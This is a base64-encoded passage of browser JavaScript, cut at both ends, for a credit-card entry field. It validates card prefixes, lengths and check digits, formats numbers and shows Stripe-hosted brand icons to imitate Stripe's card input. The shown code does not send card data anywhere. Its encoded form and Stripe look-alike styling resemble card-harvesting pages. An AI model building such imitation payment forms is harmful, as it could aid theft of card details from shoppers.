CAgICAgICAgICBwcmVmaXhlczogIjQiLAogICAgICAgICAgICAgICAgY2hlY2tkaWdpdDogdHJ1ZQogICAgICAgICAgICB9OwogICAgICAgICAgICBjYXJkc1sxXSA9IHsKICAgICAgICAgICAgICAgIG5hbWU6ICJNYXN0ZXJDYXJkIiwKICAgICAgICAgICAgICAgIGxlbmd0aDogIjE2IiwKICAgICAgICAgICAgICAgIHByZWZpeGVzOiAiNTEsNTIsNTMsNTQsNTUiLAogICAgICAgICAgICAgICAgY2hlY2tkaWdpdDogdHJ1ZQogICAgICAgICAgICB9OwogICAgICAgICAgICBjYXJkc1syXSA9IHsKICAgICAgICAgICAgICAgIG5hbWU6ICJEaW5lcnNDbHViIiwKICAgICAgICAgICAgICAgIGxlbmd0aDogIjE0LDE2IiwKICAgICAgICAgICAgICAgIHByZWZpeGVzOiAiMzYsMzgsNTQsNTUiLAogICAgICAgICAgICAgICAgY2hlY2tkaWdpdDogdHJ1ZQogICAgICAgICAgICB9OwogICAgICAgICAgICBjYXJkc1szXSA9IHsKICAgICAgICAgICAgICAgIG5hbWU6ICJDYXJ0ZUJsYW5jaGUiLAogICAgICAgICAgICAgICAgbGVuZ3RoOiAiMTQiLAogICAgICAgICAgICAgICAgcHJlZml4ZXM6ICIzMDAsMzAxLDMwMiwzMDMsMzA0LDMwNSIsCiAgICAgICAgICAgICAgICBjaGVja2RpZ2l0OiB0cnVlCiAgICAgICAgICAgIH07CiAgICAgICAgICAgIGNhcmRzWzRdID0gewogICAgICAgICAgICAgICAgbmFtZTogIkFtRXgiLAogICAgICAgICAgICAgICAgbGVuZ3RoOiAiMTUiLAogICAgICAgICAgICAgICAgcHJlZml4ZXM6ICIzNCwzNyIsCiAgICAgICAgICAgICAgICBjaGVja2RpZ2l0OiB0cnVlCiAgICAgICAgICAgIH07CiAgICAgICAgICAgIGNhcmRzWzVdID0gewogICAgICAgICAgICAgICAgbmFtZTogIkRpc2NvdmVyIiwKICAgICAgICAgICAgICAgIGxlbmd0aDogIjE2IiwKICAgICAgICAgICAgICAgIHByZWZpeGVzOiAiNjAxMSw2MjIsNjQsNjUiLAogICAgICAgICAgICAgICAgY2hlY2tkaWdpdDogdHJ1ZQogICAgICAgICAgICB9OwogICAgICAgICAgICBjYXJkc1s2XSA9IHsKICAgICAgICAgICAgICAgIG5hbWU6ICJKQ0IiLAogICAgICAgICAgICAgICAgbGVuZ3RoOiAiMTYiLAogICAgICAgICAgICAgICAgcHJlZml4ZXM6ICIzNSIsCiAgICAgICAgICAgICAgICBjaGVja2RpZ2l0OiB0cnVlCiAgICAgICAgICAgIH07CiAgICAgICAgICAgIGNhcmRzWzddID0gewogICAgICAgICAgICAgICAgbmFtZTogImVuUm91dGUiLAogICAgICAgICAgICAgICAgbGVuZ3RoOiAiMTUiLAogICAgICAgICAgICAgICAgcHJlZml4ZXM6ICIyMDE0LDIxNDkiLAogICAgICAgICAgICAgICAgY2hlY2tkaWdpdDogdHJ1ZQogICAgICAgICAgICB9OwogICAgICAgICAgICBjYXJkc1s4XSA9IHsKICAgICAgICAgICAgICAgIG5hbWU6ICJTb2xvIiwKICAgICAgICAgICAgICAgIGxlbmd0aDogIjE2LDE4LDE5IiwKICAgICAgICAgICAgICAgIHByZWZpeGVzOiAiNjMzNCw2NzY3IiwKICAgICAgICAgICAgICAgIGNoZWNrZGlnaXQ6IHRydWUKICAgICAgICAgICAgfTsKICAgICAgICAgICAgY2FyZHNbOV0gPSB7CiAgICAgICAgICAgICAgICBuYW1lOiAiU3dpdGNoIiwKICAgICAgICAgICAgICAgIGxlbmd0aDogIjE2LDE4LDE5IiwKICAgICAgICAgICAgICAgIHByZWZpeGVzOiAiNDkwMyw0OTA1LDQ5MTEsNDkzNiw1NjQxODIsNjMzMTEwLDYzMzMsNjc1OSIsCiAgICAgICAgICAgICAgICBjaGVja2RpZ2l0OiB0cnVlCiAgICAgICAgICAgIH07CiAgICAgICAgICAgIGNhcmRzWzEwXSA9IHsKICAgICAgICAgICAgICAgIG5hbWU6ICJNYWVzdHJvIiwKICAgICAgICAgICAgICAgIGxlbmd0aDogIjEyLDEzLDE0LDE1LDE2LDE4LDE5IiwKICAgICAgICAgICAgICAgIHByZWZpeGVzOiAiNTAxOCw1MDIwLDUwMzgsNjMwNCw2NzU5LDY3NjEsNjc2Miw2NzYzIiwKICAgICAgICAgICAgICAgIGNoZWNrZGlnaXQ6IHRydWUKICAgICAgICAgICAgfTsKICAgICAgICAgICAgY2FyZHNbMTFdID0gewogICAgICAgICAgICAgICAgbmFtZTogIlZpc2FFbGVjdHJvbiIsCiAgICAgICAgICAgICAgICBsZW5ndGg6ICIxNiIsCiAgICAgICAgICAgICAgICBwcmVmaXhlczogIjQwMjYsNDE3NTAwLDQ1MDgsNDg0NCw0OTEzLDQ5MTciLAogICAgICAgICAgICAgICAgY2hlY2tkaWdpdDogdHJ1ZQogICAgICAgICAgICB9OwogICAgICAgICAgICBjYXJkc1sxMl0gPSB7CiAgICAgICAgICAgICAgICBuYW1lOiAiTGFzZXJDYXJkIiwKICAgICAgICAgICAgICAgIGxlbmd0aDogIjE2LDE3LDE4LDE5IiwKICAgICAgICAgICAgICAgIHByZWZpeGVzOiAiNjMwNCw2NzA2LDY3NzEsNjcwOSIsCiAgICAgICAgICAgICAgICBjaGVja2RpZ2l0OiB0cnVlCiAgICAgICAgICAgIH07CgogICAgICAgICAgICBpZiAoY2FyZG51bWJlci5sZW5ndGggPT0gMCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlKGZhbHNlLCBjY0Vycm9yc1sxXSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGNhcmRudW1iZXIgPSBjYXJkbnVtYmVyLnJlcGxhY2UoL1xzL2csICIiKTsKCiAgICAgICAgICAgIGlmICghVkNOKGNhcmRudW1iZXIpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UoZmFsc2UsIGNjRXJyb3JzWzJdKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgbGV0IGxlbmd0aFZhbGlkID0gZmFsc2U7CiAgICAgICAgICAgIGxldCBwcmVmaXhWYWxpZCA9IGZhbHNlOwogICAgICAgICAgICBsZXQgY2FyZENvbXBhbnkgPSAiIjsKCiAgICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgY2FyZHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgICAgIGNvbnN0IHByZWZpeCA9IGNhcmRzW2ldLnByZWZpeGVzLnNwbGl0KCIsIik7CgogICAgICAgICAgICAgICAgZm9yIChsZXQgaiA9IDA7IGogPCBwcmVmaXgubGVuZ3RoOyBqKyspIHsKICAgICAgICAgICAgICAgICAgICBjb25zdCBleHAgPSBuZXcgUmVnRXhwKCJeIiArIHByZWZpeFtqXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGV4cC50ZXN0KGNhcmRudW1iZXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHByZWZpeFZhbGlkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHByZWZpeFZhbGlkKSB7CiAgICAgICAgICAgICAgICAgICAgY29uc3QgbGVuZ3RocyA9IGNhcmRzW2ldLmxlbmd0aC5zcGxpdCgiLCIpOwogICAgICAgICAgICAgICAgICAgIGZvciAobGV0IGogPSAwOyBqIDwgbGVuZ3Rocy5sZW5ndGg7IGorKykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoY2FyZG51bWJlci5sZW5ndGggPT0gbGVuZ3Roc1tqXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuZ3RoVmFsaWQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmIChsZW5ndGhWYWxpZCAmJiBwcmVmaXhWYWxpZCkgewogICAgICAgICAgICAgICAgICAgIGNhcmRDb21wYW55ID0gY2FyZHNbaV0ubmFtZTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UodHJ1ZSwgbnVsbCwgY2FyZENvbXBhbnkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoIXByZWZpeFZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UoZmFsc2UsIGNjRXJyb3JzWzNdKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFsZW5ndGhWYWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlKGZhbHNlLCBjY0Vycm9yc1s0XSk7CiAgICAgICAgICAgIH07CgogICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UodHJ1ZSwgbnVsbCwgY2FyZENvbXBhbnkpOwogICAgICAgIH0KCiAgICAgICAgKGZ1bmN0aW9uICgkKSB7CgogICAgICAgICAgICB2YXIgX3NlbGYgPSB0aGlzOwoKICAgICAgICAgICAgX3NlbGYuY2FyZF90eXBlcyA9IFsKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBuYW1lOiAnQW1lcmljYW4gRXhwcmVzcycsCiAgICAgICAgICAgICAgICAgICAgY29kZTogJ2FtZXgnLAogICAgICAgICAgICAgICAgICAgIHBhdHRlcm46IC9eM1s0N10vLAogICAgICAgICAgICAgICAgICAgIHZhbGlkX2xlbmd0aDogWzE1XSwKICAgICAgICAgICAgICAgICAgICBmb3JtYXRzOiBbCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogMTUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQ6ICd4eHh4IHh4eHh4eHggeHh4eCcKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICAgIH0sIHsKICAgICAgICAgICAgICAgICAgICBuYW1lOiAnRGluZXJzIENsdWInLAogICAgICAgICAgICAgICAgICAgIGNvZGU6ICdkaW5lcnMnLAogICAgICAgICAgICAgICAgICAgIHBhdHRlcm46IC9eM1s2OF0vLAogICAgICAgICAgICAgICAgICAgIHZhbGlkX2xlbmd0aDogWzE0XSwKICAgICAgICAgICAgICAgICAgICBmb3JtYXRzOiBbCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogMTQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXQ6ICd4eHh4IHh4eHggeHh4eCB4eCcKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICAgIH0sIHsKICAgICAgICAgICAgICAgICAgICBuYW1lOiAnSkNCJywKICAgICAgICAgICAgICAgICAgICBjb2RlOiAnamNiJywKICAgICAgICAgICAgICAgICAgICBwYXR0ZXJuOiAvXjM1LywKICAgICAgICAgICAgICAgICAgICB2YWxpZF9sZW5ndGg6IFsxNl0sCiAgICAgICAgICAgICAgICAgICAgZm9ybWF0czogWwogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZW5ndGg6IDE2LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0OiAneHh4eCB4eHh4IHh4eHggeHh4eCcKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICAgIH0sIHsKICAgICAgICAgICAgICAgICAgICBuYW1lOiAnVmlzYScsCiAgICAgICAgICAgICAgICAgICAgY29kZTogJ3Zpc2EnLAogICAgICAgICAgICAgICAgICAgIHBhdHRlcm46IC9eNC8sCiAgICAgICAgICAgICAgICAgICAgdmFsaWRfbGVuZ3RoOiBbMTZdLAogICAgICAgICAgICAgICAgICAgIGZvcm1hdHM6IFsKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAxNiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm1hdDogJ3h4eHggeHh4eCB4eHh4IHh4eHgnCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBdCiAgICAgICAgICAgICAgICB9LCB7CiAgICAgICAgICAgICAgICAgICAgbmFtZTogJ01hc3RlcmNhcmQnLAogICAgICAgICAgICAgICAgICAgIGNvZGU6ICdtYXN0ZXJjYXJkJywKICAgICAgICAgICAgICAgICAgICBwYXR0ZXJuOiAvXjVbMS01XS8sCiAgICAgICAgICAgICAgICAgICAgdmFsaWRfbGVuZ3RoOiBbMTZdLAogICAgICAgICAgICAgICAgICAgIGZvcm1hdHM6IFsKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAxNiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm1hdDogJ3h4eHggeHh4eCB4eHh4IHh4eHgnCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBdCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIF07CgogICAgICAgICAgICB0aGlzLmlzVmFsaWRMZW5ndGggPSBmdW5jdGlvbiAoY2NfbnVtLCBjYXJkX3R5cGUpIHsKICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gY2FyZF90eXBlLnZhbGlkX2xlbmd0aCkgewogICAgICAgICAgICAgICAgICAgIGlmIChjY19udW0ubGVuZ3RoIDw9IGNhcmRfdHlwZS52YWxpZF9sZW5ndGhbaV0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9OwoKICAgICAgICAgICAgdGhpcy5nZXRDYXJkVHlwZSA9IGZ1bmN0aW9uIChjY19udW0pIHsKICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gX3NlbGYuY2FyZF90eXBlcykgewogICAgICAgICAgICAgICAgICAgIHZhciBjYXJkX3R5cGUgPSBfc2VsZi5jYXJkX3R5cGVzW2ldOwogICAgICAgICAgICAgICAgICAgIGlmIChjY19udW0ubWF0Y2goY2FyZF90eXBlLnBhdHRlcm4pICYmIF9zZWxmLmlzVmFsaWRMZW5ndGgoY2NfbnVtLCBjYXJkX3R5cGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjYXJkX3R5cGU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9OwoKICAgICAgICAgICAgdGhpcy5nZXRDYXJkRm9ybWF0U3RyaW5nID0gZnVuY3Rpb24gKGNjX251bSwgY2FyZF90eXBlKSB7CiAgICAgICAgICAgICAgICBmb3IgKHZhciBpIGluIGNhcmRfdHlwZS5mb3JtYXRzKSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIGZvcm1hdCA9IGNhcmRfdHlwZS5mb3JtYXRzW2ldOwogICAgICAgICAgICAgICAgICAgIGlmIChjY19udW0ubGVuZ3RoIDw9IGZvcm1hdC5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdGhpcy5nb29kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZvcm1hdC5mb3JtYXQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuICd4eHh4IHh4eHggeHh4eCB4eHh4JzsKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHRoaXMuZm9ybWF0Q2FyZE51bWJlciA9IGZ1bmN0aW9uIChjY19udW0sIGNhcmRfdHlwZSkgewogICAgICAgICAgICAgICAgdmFyIG51bUFwcGVuZGVkQ2hhcnMgPSAwOwogICAgICAgICAgICAgICAgdmFyIGZvcm1hdHRlZE51bWJlciA9ICcnOwoKICAgICAgICAgICAgICAgIGlmICghY2FyZF90eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgY2FyZF90eXBlID0gJ3Zpc2EnOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHZhciBjYXJkRm9ybWF0U3RyaW5nID0gX3NlbGYuZ2V0Q2FyZEZvcm1hdFN0cmluZyhjY19udW0sIGNhcmRfdHlwZSk7CiAgICAgICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNjX251bS5sZW5ndGg7IGkrKykgewogICAgICAgICAgICAgICAgICAgIGNhcmRGb3JtYXRJbmRleCA9IGkgKyBudW1BcHBlbmRlZENoYXJzOwogICAgICAgICAgICAgICAgICAgIGlmICghY2FyZEZvcm1hdFN0cmluZyB8fCBjYXJkRm9ybWF0SW5kZXggPj0gY2FyZEZvcm1hdFN0cmluZy5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNjX251bTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGlmIChjYXJkRm9ybWF0U3RyaW5nLmNoYXJBdChjYXJkRm9ybWF0SW5kZXgpICE9PSAneCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbnVtQXBwZW5kZWRDaGFycysrOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JtYXR0ZWROdW1iZXIgKz0gY2FyZEZvcm1hdFN0cmluZy5jaGFyQXQoY2FyZEZvcm1hdEluZGV4KSArIGNjX251bS5jaGFyQXQoaSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0dGVkTnVtYmVyICs9IGNjX251bS5jaGFyQXQoaSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHJldHVybiBmb3JtYXR0ZWROdW1iZXI7CiAgICAgICAgICAgIH07CgogICAgICAgICAgICB0aGlzLm1vbml0b3JDY0Zvcm1hdCA9IGZ1bmN0aW9uICgkZWxlbSkgewogICAgICAgICAgICAgICAgdmFyIGNjX251bSA9ICRlbGVtLnZhbCgpLnJlcGxhY2UoL1xEL2csICcnKTsKICAgICAgICAgICAgICAgIHZhciBjYXJkX3R5cGUgPSBfc2VsZi5nZXRDYXJkVHlwZShjY19udW0pOwogICAgICAgICAgICAgICAgJGVsZW0udmFsKF9zZWxmLmZvcm1hdENhcmROdW1iZXIoY2NfbnVtLCBjYXJkX3R5cGUpKTsKICAgICAgICAgICAgICAgIF9zZWxmLmFkZENhcmRDbGFzc0lkZW50aWZpZXIoJGVsZW0sIGNhcmRfdHlwZSk7CiAgICAgICAgICAgIH07CgogICAgICAgICAgICB0aGlzLmFkZENhcmRDbGFzc0lkZW50aWZpZXIgPSBmdW5jdGlvbiAoJGVsZW0sIGNhcmRfdHlwZSkgewogICAgICAgICAgICAgICAgJCgnW2RhdGEtaWNvbl0nKS5jc3MoeyAiZGlzcGxheSI6ICJub25lIiB9KTsKICAgICAgICAgICAgICAgICQoJ1tkYXRhLWljb249ImRlZmF1bHQiXScpLmNzcyh7ICJkaXNwbGF5IjogIiIgfSk7CiAgICAgICAgICAgICAgICAkKCcuc3RyaXBlLWNyZWRpdC1jYXJkLWJyYW5kJykucmVtb3ZlQXR0cignY2xhc3MnKS5hZGRDbGFzcygnc3RyaXBlLWNyZWRpdC1jYXJkLWJyYW5kJykuYWRkQ2xhc3MoJ3N0cmlwZS1jYXJkLWJyYW5kJyk7CiAgICAgICAgICAgICAgICByRXJyKCk7CiAgICAgICAgICAgICAgICBpZiAoY2FyZF90eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgc3dpdGNoIChjYXJkX3R5cGUuY29kZSkgewogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICd2aXNhJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNjYmRpJykuaHRtbCgnPGltZyBjbGFzcz0icGF5bWVudC1tZXRob2QtbG9nbyBwYXltZW50LW1ldGhvZC1sb2dvLWFsaWdubWVudCIgaWQ9InBheW1lbnQtbWV0aG9kLWxvZ28iIHNyYz0iaHR0cHM6Ly9qcy5zdHJpcGUuY29tL3YzL2ZpbmdlcnByaW50ZWQvaW1nL3Zpc2EtNzI5YzA1YzI0MGM0YmRiNDdiMDNhYzgxZDk5NDViZmUuc3ZnIiBhbHQ9ImNhcmQiPicpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdtYXN0ZXJjYXJkJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNjYmRpJykuaHRtbCgnPGltZyBjbGFzcz0iQ2FyZEJyYW5kSWNvbi1pbm5lciBDYXJkQnJhbmRJY29uLWlubmVyLS1mcm9udCIgYWx0PSIiIHJvbGU9InByZXNlbnRhdGlvbiIgc3JjPSJodHRwczovL2pzLnN0cmlwZS5jb20vdjMvZmluZ2VycHJpbnRlZC9pbWcvbWFzdGVyY2FyZC00ZDg4NDQwOTQxMzA3MTE4ODViNWU0MWIyOGM5ODQ4Zi5zdmciPicpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdhbWV4JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNjYmRpJykuaHRtbCgnPGltZyBjbGFzcz0iQ2FyZEJyYW5kSWNvbi1pbm5lciBDYXJkQnJhbmRJY29uLWlubmVyLS1mcm9udCIgYWx0PSIiIHJvbGU9InByZXNlbnRhdGlvbiIgc3JjPSJodHRwczovL2pzLnN0cmlwZS5jb20vdjMvZmluZ2VycHJpbnRlZC9pbWcvYW1leC1hNDliODJmNDZjNWNkNmE5NmE2ZTQxOGE2Y2ExNzE3Yy5zdmciPicpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdqY2InOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnI2NiZGknKS5odG1sKCc8aW1nIGNsYXNzPSJDYXJkQnJhbmRJY29uLWlubmVyIENhcmRCcmFuZEljb24taW5uZXItLWZyb250IiBhbHQ9IiIgcm9sZT0icHJlc2VudGF0aW9uIiBzcmM9Imh0dHBzOi8vanMuc3RyaXBlLmNvbS92My9maW5nZXJwcmludGVkL2ltZy9qY2ItMjcxZmQwNmU2ZTdhMmM1MjY5MmZmYTkxYTk1ZmI2NGYuc3ZnIj4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnZGluZXJzJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNjYmRpJykuaHRtbCgnPGltZyBjbGFzcz0iQ2FyZEJyYW5kSWNvbi1pbm5lciBDYXJkQnJhbmRJY29uLWlubmVyLS1mcm9udCIgYWx0PSIiIHJvbGU9InByZXNlbnRhdGlvbiIgc3JjPSJodHRwczovL2pzLnN0cmlwZS5jb20vdjMvZmluZ2VycHJpbnRlZC9pbWcvZGluZXJzLWZiY2JkMzM2MGY4ZTNmNjI5Y2RhYTgwZTkzYWJkYjhiLnN2ZyI+Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCcjY2JkaScpLmh0bWwoJzxzdmcgZm9jdXNhYmxlPSJmYWxzZSIgdmlld0JveD0iMCAwIDMyIDIxIj48ZyBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxnIGlkPSJlcnJvciIgY2xhc3M9Ikljb24tZmlsbCI+PGcgaWQ9ImNhcmQiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAgMikiPjxwYXRoIGlkPSJzaGFwZSIgZD0iTTIxLjY4IDBBNiA2IDAgMSAwIDI5IDkuNDd2Ny4xNUEyLjQgMi40IDAgMCAxIDI2LjU4IDE5SDIuNDJBMi40IDIuNCAwIDAgMSAwIDE2LjYyVjIuMzhBMi40IDIuNCAwIDAgMSAyLjQyIDBoMTkuMjZ6TTEwIDUuODNjMC0uNDYtLjM1LS44My0uNzgtLjgzSDMuNzhjLS40MyAwLS43OC4zNy0uNzguODN2My4zNGMwIC40Ni4zNS44My43OC44M2g1LjQ0Yy40MyAwIC43OC0uMzcuNzgtLjgzVjUuODN6IiBvcGFjaXR5PSIuMiI+PC9wYXRoPjxwYXRoIGlkPSJzaGFwZSIgZD0iTTI1IDE1aC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwaC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwaC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwSDRjLS42NSAwLTEtLjMtMS0xcy4zNS0xIDEtMWgzYy42NSAwIDEgLjMgMSAxcy0uMzUgMS0xIDF6IiBvcGFjaXR5PSIuMyI+PC9wYXRoPjwvZz48ZyBpZD0ic2hhcGUiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDE4KSI+PHBhdGggZD0iTTcgMTRBNyA3IDAgMSAxIDcgMGE3IDcgMCAwIDEgMCAxNHpNNiAzdjRhMSAxIDAgMCAwIDIgMFYzYTEgMSAwIDAgMC0yIDB6bTEgOC43NWExLjI1IDEuMjUgMCAxIDAgMC0yLjUgMS4yNSAxLjI1IDAgMCAwIDAgMi41eiI+PC9wYXRoPjwvZz48L2c+PC9nPjwvc3ZnPicpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhRXJyKCdZb3VyIGNhcmQgbnVtYmVyIGlzIGluY29tcGxldGUuJyk7CiAgICAgICAgICAgICAgICAgICAgJCgnI2NiZGknKS5odG1sKCc8c3ZnIGZvY3VzYWJsZT0iZmFsc2UiIHZpZXdCb3g9IjAgMCAzMiAyMSI+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj48ZyBpZD0iZXJyb3IiIGNsYXNzPSJJY29uLWZpbGwiPjxnIGlkPSJjYXJkIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwIDIpIj48cGF0aCBpZD0ic2hhcGUiIGQ9Ik0yMS42OCAwQTYgNiAwIDEgMCAyOSA5LjQ3djcuMTVBMi40IDIuNCAwIDAgMSAyNi41OCAxOUgyLjQyQTIuNCAyLjQgMCAwIDEgMCAxNi42MlYyLjM4QTIuNCAyLjQgMCAwIDEgMi40MiAwaDE5LjI2ek0xMCA1LjgzYzAtLjQ2LS4zNS0uODMtLjc4LS44M0gzLjc4Yy0uNDMgMC0uNzguMzctLjc4LjgzdjMuMzRjMCAuNDYuMzUuODMuNzguODNoNS40NGMuNDMgMCAuNzgtLjM3Ljc4LS44M1Y1LjgzeiIgb3BhY2l0eT0iLjIiPjwvcGF0aD48cGF0aCBpZD0ic2hhcGUiIGQ9Ik0yNSAxNWgtM2MtLjY1IDAtMS0uMy0xLTFzLjM1LTEgMS0xaDNjLjY1IDAgMSAuMyAxIDFzLS4zNSAxLTEgMXptLTYgMGgtM2MtLjY1IDAtMS0uMy0xLTFzLjM1LTEgMS0xaDNjLjY1IDAgMSAuMyAxIDFzLS4zNSAxLTEgMXptLTYgMGgtM2MtLjY1IDAtMS0uMy0xLTFzLjM1LTEgMS0xaDNjLjY1IDAgMSAuMyAxIDFzLS4zNSAxLTEgMXptLTYgMEg0Yy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxeiIgb3BhY2l0eT0iLjMiPjwvcGF0aD48L2c+PGcgaWQ9InNoYXBlIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxOCkiPjxwYXRoIGQ9Ik03IDE0QTcgNyAwIDEgMSA3IDBhNyA3IDAgMCAxIDAgMTR6TTYgM3Y0YTEgMSAwIDAgMCAyIDBWM2ExIDEgMCAwIDAtMiAwem0xIDguNzVhMS4yNSAxLjI1IDAgMSAwIDAtMi41IDEuMjUgMS4yNSAwIDAgMCAwIDIuNXoiPjwvcGF0aD48L2c+PC9nPjwvZz48L3N2Zz4nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgICQoZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgJChkb2N1bWVudCkuZmluZCgnLmNjRm9ybWF0TW9uaXRvcicpLmVhY2goZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgICAgIHZhciAkZWxlbSA9ICQodGhpcyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRlbGVtLmlzKCdpbnB1dCcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRlbGVtLm9uKCdpbnB1dCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9zZWxmLm1vbml0b3JDY0Zvcm1h